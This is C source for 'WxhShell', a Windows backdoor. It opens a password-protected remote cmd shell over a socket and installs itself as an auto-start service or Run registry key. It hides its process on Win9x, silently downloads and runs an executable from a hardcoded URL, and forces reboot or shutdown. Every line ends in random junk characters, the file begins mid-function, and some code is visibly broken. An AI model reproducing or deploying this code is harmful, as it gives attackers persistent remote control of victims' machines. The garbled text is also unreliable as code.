    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ d`m)MW-  
    else { NUFW SL>  
    closesocket(wsh); _&N}.y)+t  
    ExitThread(0); rV}&G!V_t  
    } uM,R+)3  
    break; -z">ov-)  
    } V1yP{XT=  
  // 获取shell $|t={s34  
  case 's': { .'b| pd  
    CmdShell(wsh); JnLF61   
    closesocket(wsh); EMzJyGt7  
    ExitThread(0); kS4YxtvB  
    break; BS3{TGn  
  } .Nk5W%7]=  
  // 退出 <c$rfjM+JU  
  case 'x': { /[A#iTe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WAf"|  
    CloseIt(wsh); z"-oD*ICw  
    break; 3mhjwgP<nn  
    } og&-P=4O  
  // 离开 u82(`+B  
  case 'q': { 4 %V9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a n0n8l  
    closesocket(wsh); $b)t`r+  
    WSACleanup(); C;~LY&=  
    exit(1); D!z'Y,.  
    break; *T~b ox  
        } =1y~Qlu  
  } kH`?^ ^_yJ  
  } Pn l}<i  
x[xRqC vL  
  // 提示信息 aYM~Ub:x{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R '8S)'l  
} 7CH.BY  
  } 3taGb>15  
Bru];%Qg%  
  return; ^^F 8M0k3  
} 0rvBjlFT  
jVh:Bw  
// shell模块句柄 WF:4p]0~)  
int CmdShell(SOCKET sock) V9jxmu F,  
{ %/ "yt}"|  
STARTUPINFO si; L1f=90  
ZeroMemory(&si,sizeof(si)); x_CY`Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MRg Ozg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }rUAYr~VZ  
PROCESS_INFORMATION ProcessInfo; iH~A7e62OZ  
char cmdline[]="cmd"; 7$x%A&]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1OV] W f  
  return 0; [SD mdr1T$  
} *Q#oV}D_  
q]Kv.x]$R  
// 自身启动模式 bGkLa/?S  
int StartFromService(void) 56 Z  
{ f8ZuG !U  
typedef struct #lc6-K#  
{ d2TIG<6/  
  DWORD ExitStatus; ;NE4G;px4<  
  DWORD PebBaseAddress; 5A<}*T  
  DWORD AffinityMask; ydA@@C\&  
  DWORD BasePriority; p{:y?0pGN  
  ULONG UniqueProcessId; -9;?k{{[T  
  ULONG InheritedFromUniqueProcessId; GFju:8P?  
}   PROCESS_BASIC_INFORMATION; +o):grWvQ  
QN|=/c<U  
PROCNTQSIP NtQueryInformationProcess; mX!*|$bs  
||ugb6q[6B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eiXl"R^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :@a0h  
[!MS1v c;  
  HANDLE             hProcess; 9dm<(I}  
  PROCESS_BASIC_INFORMATION pbi; \&~YFjB  
RAnF=1[v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pe<T" [X  
  if(NULL == hInst ) return 0; ]0BX5Z'  
R.DUfU"gp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \98N8p;,I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ><S(n#EB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o 0T1pGs'  
gf?N(,  
  if (!NtQueryInformationProcess) return 0; sT "q]  
i+pQ 7wx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c&,q`_t  
  if(!hProcess) return 0; oz]&=>$1I  
A\W) uwyN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tCm]1ZgRW  
f/s"2r  
  CloseHandle(hProcess); UR9\g(  
,7k-LAA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zG8g}FrzG;  
if(hProcess==NULL) return 0; NqGSoOjIO2  
8!HB$vdw7  
HMODULE hMod; cx ("F /Jm  
char procName[255]; DycXJ3eQ  
unsigned long cbNeeded; X;2LK!x;y  
OZd (~E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sOiM/} O]  
L[A?W  
  CloseHandle(hProcess); +95v=[t#Ut  
Yi)s=Q:  
if(strstr(procName,"services")) return 1; // 以服务启动 :YOo"3.]  
t`{T:Tjc  
  return 0; // 注册表启动 $4~Z]-38#A  
} G "!v)o  
?L0k|7  
// 主模块 WUo\jm[yr  
int StartWxhshell(LPSTR lpCmdLine) `34{/ }w  
{ /HS"{@Z"h  
  SOCKET wsl; VIN0kRQ#  
BOOL val=TRUE; RgW#z-PZF  
  int port=0; mwyB~,[d+W  
  struct sockaddr_in door; A_WaRYG  
F3]VSI6^E,  
  if(wscfg.ws_autoins) Install(); Lq1?Y  
MB $aN':  
port=atoi(lpCmdLine); <VQ)}HW;k  
1r_V$o$  
if(port<=0) port=wscfg.ws_port; cIG7 Q"4  
So8 Dwz?  
  WSADATA data; T:zM]%Xh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i;s;:{cn  
Pr(@&:v:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   { PJ>gX$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2  
  door.sin_family = AF_INET; A<"< DDy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GBWL0'COV  
  door.sin_port = htons(port); UV0[S8A  
,|}mo+rb-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D6l. x]K  
closesocket(wsl); 9jX_Eoxy  
return 1; gzqp=I[%  
} YYPJ (o\  
b GI){0A  
  if(listen(wsl,2) == INVALID_SOCKET) { h3&|yS|  
closesocket(wsl); Crg'AB?  
return 1; ?w'86^_z  
} xy4+ [u  
  Wxhshell(wsl); (Nk[ys}%*  
  WSACleanup(); v3FdlE  
AO]cnh C  
return 0; |#M|"7;2z  
*8m['$oyV  
} qk3|fW/-  
hjM?D`5x  
// 以NT服务方式启动 r 1jt~0&K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A_9J ~3  
{ Ox&G  [  
DWORD   status = 0; D>@NYqMF  
  DWORD   specificError = 0xfffffff; 5oSp/M  
:$,MAQ'9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ed}#S~4q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y&8,f|{R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VN`fZ5*d~  
  serviceStatus.dwWin32ExitCode     = 0; rQ_@q_B.  
  serviceStatus.dwServiceSpecificExitCode = 0; %lWOW2~R  
  serviceStatus.dwCheckPoint       = 0; # Q,EL73;  
  serviceStatus.dwWaitHint       = 0; X<Z(,B  
3X11Gl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x.wDA3ys  
  if (hServiceStatusHandle==0) return; 7`&ISRU4  
l v hJ  
status = GetLastError(); &KAe+~aPm  
  if (status!=NO_ERROR) {, +c  
{ Ez0zk9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KXK5\#+L  
    serviceStatus.dwCheckPoint       = 0; n=C"pH#  
    serviceStatus.dwWaitHint       = 0; jVQ89vf ~  
    serviceStatus.dwWin32ExitCode     = status; w4Df?)Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; G$MEVfd"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `o295eiY(b  
    return; la_c:#ho  
  } C!Srv 7  
xk% 62W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 25-h5$s  
  serviceStatus.dwCheckPoint       = 0; megTp  
  serviceStatus.dwWaitHint       = 0; 0kOwA%m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ow{.iv\,u  
} -X~|jF  
S6JXi>n  
// 处理NT服务事件,比如:启动、停止 &0q pgl|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Hmf=eoc  
{ ?_^{9q%9  
switch(fdwControl) Q N#bd~  
{ o!K DeY  
case SERVICE_CONTROL_STOP: 9Pe$}N  
  serviceStatus.dwWin32ExitCode = 0; H(K PU1lDw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [K\b"^=<  
  serviceStatus.dwCheckPoint   = 0; 2wIJ;rh  
  serviceStatus.dwWaitHint     = 0; !e~[U-  
  { m 0vW<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0FI |7  
  } -|KZOea  
  return; 6X%g-aTs  
case SERVICE_CONTROL_PAUSE: =(D"(OsQ/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h )5S4)  
  break; 3cL iZ%6^  
case SERVICE_CONTROL_CONTINUE: #IM.7`I   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,:A;4  
  break; S* O. ?  
case SERVICE_CONTROL_INTERROGATE: 9tPRQ M7  
  break; I*3}erT  
}; z_fjmqa?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _7<{+Zzm  
} jxkjPf?  
s{yw1:  
// 标准应用程序主函数 a~$Y;C_#<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3S7"P$q  
{ z77>W}d  
}0Ns&6)xG  
// 获取操作系统版本 )B0%"0?`8  
OsIsNt=GetOsVer(); >!xyA;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /0XMQy  
Tgr,1) T  
  // 从命令行安装 uoI7' :Nv  
  if(strpbrk(lpCmdLine,"iI")) Install();  Q}L?o  
yW= +6@A4  
  // 下载执行文件 C$1W+(  
if(wscfg.ws_downexe) { 71{jedT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A+0-pF2D  
  WinExec(wscfg.ws_filenam,SW_HIDE); r.\L@Y<  
} u/u(Z&  
c Pf_B=  
if(!OsIsNt) { #6< 1 =I'j  
// 如果时win9x,隐藏进程并且设置为注册表启动 @i;)`k5b  
HideProc(); ?e<2'\5v  
StartWxhshell(lpCmdLine); }ARA K^%  
} `{G&i\"n  
else >9dD7FH  
  if(StartFromService()) ! I0xq"  
  // 以服务方式启动 =#S.t:HQ*  
  StartServiceCtrlDispatcher(DispatchTable); JN|6+.GG  
else 1d<Uwb>  
  // 普通方式启动 yEI@^8]s  
  StartWxhshell(lpCmdLine); ezp%8IZ;  
$3g{9)}  
return 0; lbBWOx/|  
} }Ze*/ p-  
\H@1VgmR;  
c_D(%Vf5  
_b~{/[s  
=========================================== @I`^\oJ  
hDW!pnj1  
F`QViZ'n>#  
zTw"5N  
/q]rA  
Ec@n<KK#  
" *(?Wzanh  
Sz go@x$^  
#include <stdio.h> wwB3m&  
#include <string.h> Q,&Li+u|  
#include <windows.h> 5dj@N3ZX7;  
#include <winsock2.h> -{xk&EB^$5  
#include <winsvc.h> 9_?xAJ  
#include <urlmon.h> "+ou!YK+  
^Fco'nlM  
#pragma comment (lib, "Ws2_32.lib") 0- )K_JV  
#pragma comment (lib, "urlmon.lib") Gs,:$Im  
]$@D=g,r  
#define MAX_USER   100 // 最大客户端连接数 `.W2t5 Y  
#define BUF_SOCK   200 // sock buffer `x`[hJ?i  
#define KEY_BUFF   255 // 输入 buffer DVL-qt\;n  
2M-[x"\1/  
#define REBOOT     0   // 重启 P9 <U+\z  
#define SHUTDOWN   1   // 关机 &3[oM)-V  
5*pzL0,Y  
#define DEF_PORT   5000 // 监听端口 AAevN3a#nI  
l4oyF|oJTH  
#define REG_LEN     16   // 注册表键长度 U%nkPIFm  
#define SVC_LEN     80   // NT服务名长度 No'?8+i  
}aVZ\PDg  
// 从dll定义API o eU i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); go uU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8Y?M:^f~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ) CP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cQU;PH]  
-Z"4W  
// wxhshell配置信息 ZD]1C ~)  
struct WSCFG { 147QB+cE  
  int ws_port;         // 监听端口 R-13DVK  
  char ws_passstr[REG_LEN]; // 口令 iAwEnQ3h  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^a4z*#IOr  
  char ws_regname[REG_LEN]; // 注册表键名  p+h$]CH  
  char ws_svcname[REG_LEN]; // 服务名 vwU1}H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >.iF,[.[F<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f~`=I NrU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gsk? !D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Uwxmy+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J?QS7#!%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -b(DPte  
`@/)S^jBau  
}; HeRi67  
L=r*bq  
// default Wxhshell configuration wGc7  
struct WSCFG wscfg={DEF_PORT, cuhp4!!  
    "xuhuanlingzhe", *2G6Q g F  
    1, %=^/^[D  
    "Wxhshell", NBYJ'nA%;f  
    "Wxhshell", FlBhCZ|^  
            "WxhShell Service", FE~D:)Xj'?  
    "Wrsky Windows CmdShell Service", Z7;V}[wie  
    "Please Input Your Password: ", CJ IuMsZ  
  1, zw/AZLS  
  "http://www.wrsky.com/wxhshell.exe", zR"c j  
  "Wxhshell.exe" D@O `"2  
    }; 4ba*Nc*Yc  
Z[oF4 z   
// 消息定义模块 6>a6;[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m9 h '!X<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; > N~8#C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 35<A :jKS  
char *msg_ws_ext="\n\rExit."; r )F;8(  
char *msg_ws_end="\n\rQuit."; 8QrpNSj4  
char *msg_ws_boot="\n\rReboot..."; j[G`p^ul  
char *msg_ws_poff="\n\rShutdown..."; }aZuCe_  
char *msg_ws_down="\n\rSave to "; k?+ 7%A]  
l|P"^;*zq  
char *msg_ws_err="\n\rErr!"; Yj/afn(Jt  
char *msg_ws_ok="\n\rOK!"; p)y5[HX  
j/O~8o&  
char ExeFile[MAX_PATH]; i5VZ,E^E  
int nUser = 0; c|&3e84U  
HANDLE handles[MAX_USER]; 7n8nJTU{4j  
int OsIsNt; a+w2cN'  
QNj]wm=mp  
SERVICE_STATUS       serviceStatus; {M]_]L{&7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G;Li!H  
Nd~B$venh  
// 函数声明 KGz Nj%  
int Install(void); 1 /. BP  
int Uninstall(void); A~?M`L>B  
int DownloadFile(char *sURL, SOCKET wsh); l4bytI{63  
int Boot(int flag); ig,.>'+l  
void HideProc(void); :<QknU}dwy  
int GetOsVer(void); d*@T30  
int Wxhshell(SOCKET wsl); e97G]XLR  
void TalkWithClient(void *cs); Eb8pM>'qM  
int CmdShell(SOCKET sock); //R"ZE@d\  
int StartFromService(void); b6D;98p  
int StartWxhshell(LPSTR lpCmdLine); |R`"Zu`  
Ipp_}tl_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AkhG~L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k^J8 p#`6  
8<=^Rkz  
// 数据结构和表定义 o?`FjZ6;x  
SERVICE_TABLE_ENTRY DispatchTable[] = J]F&4 O  
{ mMAN* }`O  
{wscfg.ws_svcname, NTServiceMain}, ?Nos;_/  
{NULL, NULL} 8Zr;n`~  
}; q~ H>rC(\  
x/*lNG/  
// 自我安装 oz) [ -  
int Install(void) "H-s_Y#  
{ dljE.peL  
  char svExeFile[MAX_PATH]; 3:)z+#Uk6  
  HKEY key; ARKM[]  
  strcpy(svExeFile,ExeFile); NXW*{b  
@N=vmtLP  
// 如果是win9x系统,修改注册表设为自启动 LP2~UVq  
if(!OsIsNt) { \TQZZ_Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @-U\!Tf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _D '(R  
  RegCloseKey(key); l/.{F;3F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 \mRH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hlzB cz*  
  RegCloseKey(key); }A)\bffH  
  return 0; M(%H  
    } -`O{iHfM|P  
  } f1 ;  
} %w`d  
else { m'o dVZ7  
.wfydu)3  
// 如果是NT以上系统,安装为系统服务 CMt<oT6.?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $O"ss>8Se  
if (schSCManager!=0) /9`4f"  
{ "Xq_N4  
  SC_HANDLE schService = CreateService }w0pi  
  ( r&gvP|W%  
  schSCManager, c;l!i-  
  wscfg.ws_svcname, XiUq#84Q  
  wscfg.ws_svcdisp, MmF&jd-=  
  SERVICE_ALL_ACCESS, w#A)B<Y/"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [!'+}  
  SERVICE_AUTO_START, <kh.fu@.Q  
  SERVICE_ERROR_NORMAL, bi<<z-q`wJ  
  svExeFile, M\ATT%b:  
  NULL, $0])%   
  NULL, 6u[fCGi%  
  NULL, 3I6ocj [,  
  NULL, $7x2TiAL  
  NULL s8h*nZ)v  
  ); <b 5DX  
  if (schService!=0) Aoe\\'O|V  
  { 8Fn\ycX#"l  
  CloseServiceHandle(schService);  :eN&wQ5q  
  CloseServiceHandle(schSCManager); tsXKhS;/w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + G@N  
  strcat(svExeFile,wscfg.ws_svcname); tl#sCf!c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vk2$b{VdF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wKJG 31I^  
  RegCloseKey(key); c%H' jB [  
  return 0; !T 6R[  
    } Oa|c ?|+  
  } |RX#5Q>z  
  CloseServiceHandle(schSCManager); c=m'I>A  
} D#;7S'C  
} *2AD#yIKC  
Uh }PB3WZ  
return 1; r!:yUPv  
} |iM,bs  
HsY5wC  
// 自我卸载 RvzZg %)  
int Uninstall(void) w~lH2U'k}  
{ sSM"~_y\  
  HKEY key; dC=[o\  
t7=D$ua  
if(!OsIsNt) { 2Tp2{"sB>A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S?~0)EXj(  
  RegDeleteValue(key,wscfg.ws_regname); gx&es\  
  RegCloseKey(key); y|`-)fY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1J?v\S$ma`  
  RegDeleteValue(key,wscfg.ws_regname); 5EYGA\  
  RegCloseKey(key); .9~j%] q  
  return 0; ,H=k5WA4m  
  } vDjH $ U  
} 2 bc&sU)X  
} hU?DLl:bXF  
else { I8xdE(o8+  
( t&RFzE?G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K_i|cYGV  
if (schSCManager!=0) f{BF%;  
{ 3j7FG%\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E7Lqa S  
  if (schService!=0) gV_v5sk  
  { q*I*B1p[m  
  if(DeleteService(schService)!=0) { c 1YDln  
  CloseServiceHandle(schService); "@Vyc6L  
  CloseServiceHandle(schSCManager); *22Vc2[i;  
  return 0; xyL"U*  
  } Z.VKG1e}  
  CloseServiceHandle(schService); tv#oEM9esl  
  } d |17G  
  CloseServiceHandle(schSCManager); yw1 &I^7  
} ^rWg:fb  
} wZvv5:jKpu  
0 QTI;3  
return 1; R1];P*>%gZ  
} fi?4!h  
DbGS]k<$  
// 从指定url下载文件 O8]e(i  
int DownloadFile(char *sURL, SOCKET wsh) PTe L3L  
{ C`5'5/-.  
  HRESULT hr; yl[I'fX66  
char seps[]= "/"; Ss[[V(-  
char *token;  -WC0W  
char *file; j|!,^._i  
char myURL[MAX_PATH]; 4BCPh:  
char myFILE[MAX_PATH]; (Pc>D';{S  
Fh#QS'[  
strcpy(myURL,sURL); $/wm k7T  
  token=strtok(myURL,seps); e]4$H.dP  
  while(token!=NULL) 2<D| {  
  { X^\D"fmE.  
    file=token; \n<! ld  
  token=strtok(NULL,seps); VLuHuih  
  } erH,EE^-x<  
b RAD_  
GetCurrentDirectory(MAX_PATH,myFILE); /,\V}`Lx"  
strcat(myFILE, "\\"); uw;Sfx,s  
strcat(myFILE, file); VF`!ks  
  send(wsh,myFILE,strlen(myFILE),0); v,w af`)J  
send(wsh,"...",3,0); Giyh( DL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {&5lZ<nu8A  
  if(hr==S_OK) m8sd2&4  
return 0; *5)UIRd  
else >Hf{Mx{<  
return 1; \jfK']P/H  
1!z{{H;W  
} 'Lu<2=a~  
)vW'g3u_  
// 系统电源模块 *Fy6 -CC1  
int Boot(int flag) "Zp&7hI  
{ 2e_ Di(us  
  HANDLE hToken; Qs1p  
  TOKEN_PRIVILEGES tkp; \.Lj A_  
 "J(M.Y  
  if(OsIsNt) { J!:BCjRdw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wf8{v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :>FN|fz  
    tkp.PrivilegeCount = 1; J(]|)?x2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kL8rqv^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =B}IsBn'J  
if(flag==REBOOT) { ng}C$d . I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K_YrdA)6  
  return 0; )Zq'r L<  
} ciS +.%7  
else { $nt&'Xnv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {irc0gI  
  return 0; g89@>?Mn  
} H^d?(Svh  
  } :-?ZU4)  
  else { Tg{5%~L]   
if(flag==REBOOT) { #/oH #/?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kd:l8%+  
  return 0; %o?)`z9-  
} D Q.4b  
else { ebBi zc=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r8 9o  
  return 0; #b^6>  
} UarLxPQ  
} \F|)w|v  
'+9<[]  
return 1; DzVCEhf  
} orjtwF>^  
p9"dm{  
// win9x进程隐藏模块 UT;%I_i!'  
void HideProc(void) 1jKpLTSs  
{ TiD#t+g  
~4 fE`-O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [Hh*lKg  
  if ( hKernel != NULL ) iT'doF  
  { bdL= ?KS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VhO+nvd*W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^yW['H6V  
    FreeLibrary(hKernel); S~/2Bw!2  
  } :E9pdx+  
/EjXyrn2  
return; coXg]bUKo  
} gX" -3w  
\c2x udU  
// 获取操作系统版本 #D9.A7fCc5  
int GetOsVer(void) \,13mB6  
{ '8 .JnCg  
  OSVERSIONINFO winfo; [FBS|v#T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k[f2`o=  
  GetVersionEx(&winfo); f&<+45JI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R+HX'W  
  return 1; C3'xU`=7  
  else q/@2=$]hH3  
  return 0; ?^U?ua6  
} n.g-%4\q  
Z5t^D|  
// 客户端句柄模块 l`"?K D  
int Wxhshell(SOCKET wsl) 8i',~[  
{ I8XP`Ccq  
  SOCKET wsh; qur2t8gnxq  
  struct sockaddr_in client; lie,A  
  DWORD myID; ,zgz7  
Ch]d\GM  
  while(nUser<MAX_USER) +zh\W9  
{ UVux[qX<  
  int nSize=sizeof(client); 4EM+Ye  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ao)';[%9s  
  if(wsh==INVALID_SOCKET) return 1; Gwk$<6E  
,8r?C!m]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jg$<2CR&  
if(handles[nUser]==0) LDQ,SS,  
  closesocket(wsh); FO*Gc Z  
else }||u {[  
  nUser++; {&+M.Xn  
  } {D[6=\ F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k9%o{Uzy  
t`B@01;8A  
  return 0; 8&U Mmbgy  
} 0si1:+t-[+  
Mp/l*"(  
// 关闭 socket X,G<D}  
void CloseIt(SOCKET wsh) NK qI x  
{ [W3X$r~-  
closesocket(wsh); wQG?)aaM  
nUser--; ,ayEZ#4.m  
ExitThread(0); =mXC,<]  
} $wAR cS  
Ba[,9l[  
// 客户端请求句柄 iyn9[>j e  
void TalkWithClient(void *cs) Xf4~e(O  
{ fG1iq<~  
# >k|^*\  
  SOCKET wsh=(SOCKET)cs; X\`']\l  
  char pwd[SVC_LEN]; L2>e@p\>  
  char cmd[KEY_BUFF]; 9s<4`oa  
char chr[1]; Cn/WNCzst&  
int i,j; %T]$kF++&  
u"&?u+1j  
  while (nUser < MAX_USER) { hEHd$tH06  
pl).U#7`  
if(wscfg.ws_passstr) { H^|TV]^;N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ah1 9#0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  %W~w\mT  
  //ZeroMemory(pwd,KEY_BUFF); SV o?o|<  
      i=0; x/?ET1iGt  
  while(i<SVC_LEN) { ) (YNNu  
l7g'z'G  
  // 设置超时 ~vA{I%z5~  
  fd_set FdRead; !S=YM<Ad  
  struct timeval TimeOut; ?# w} S%  
  FD_ZERO(&FdRead); ktrIi5B  
  FD_SET(wsh,&FdRead); Xr  <H^X  
  TimeOut.tv_sec=8; LWCFCkx%  
  TimeOut.tv_usec=0; IW~wO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `h@fW- r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w W\[#Ku  
Zp)=l Td  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $w*L' <  
  pwd=chr[0]; 4|K\pCw  
  if(chr[0]==0xd || chr[0]==0xa) { O &<p 8  
  pwd=0; ]L~NYe9  
  break; %[|^7  
  } 7_\F$bp`  
  i++; P7F"#R0QB  
    } d/R!x{$-f  
I(^0/]'  
  // 如果是非法用户,关闭 socket d1/WUKmbZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }. &ellNQ  
}  U${W3Ra  
hnFpC1TO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d%|l)JF*5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v82wnP-~7  
=sk[I0W  
while(1) { To(I<W|{  
:\|A.# U  
  ZeroMemory(cmd,KEY_BUFF); GqHW.s5  
=dPokLXn  
      // 自动支持客户端 telnet标准   Kkp dcc  
  j=0; 0Ncpi=6  
  while(j<KEY_BUFF) { 4fs d5#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'yPKQ/y$x  
  cmd[j]=chr[0]; 9 " q-Bb  
  if(chr[0]==0xa || chr[0]==0xd) { hY.i`sp*/  
  cmd[j]=0; 3q'AgiW  
  break; d~~kJKK  
  } '$OUe {j<  
  j++; ^Oi L&p;r  
    } e%[*NX/  
$Wj= V  
  // 下载文件 }T4|Kyu?  
  if(strstr(cmd,"http://")) { }PJsPIa3j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M/6Z,oOU  
  if(DownloadFile(cmd,wsh)) 6 ]x?2P%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .yy-jf/  
  else ?C[?dg{n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mm$\j*f/  
  } jM\{*!7b  
  else { &1Ndi<Y^  
_94 W@dW  
    switch(cmd[0]) { ??"_o3  
  qf(mJlU  
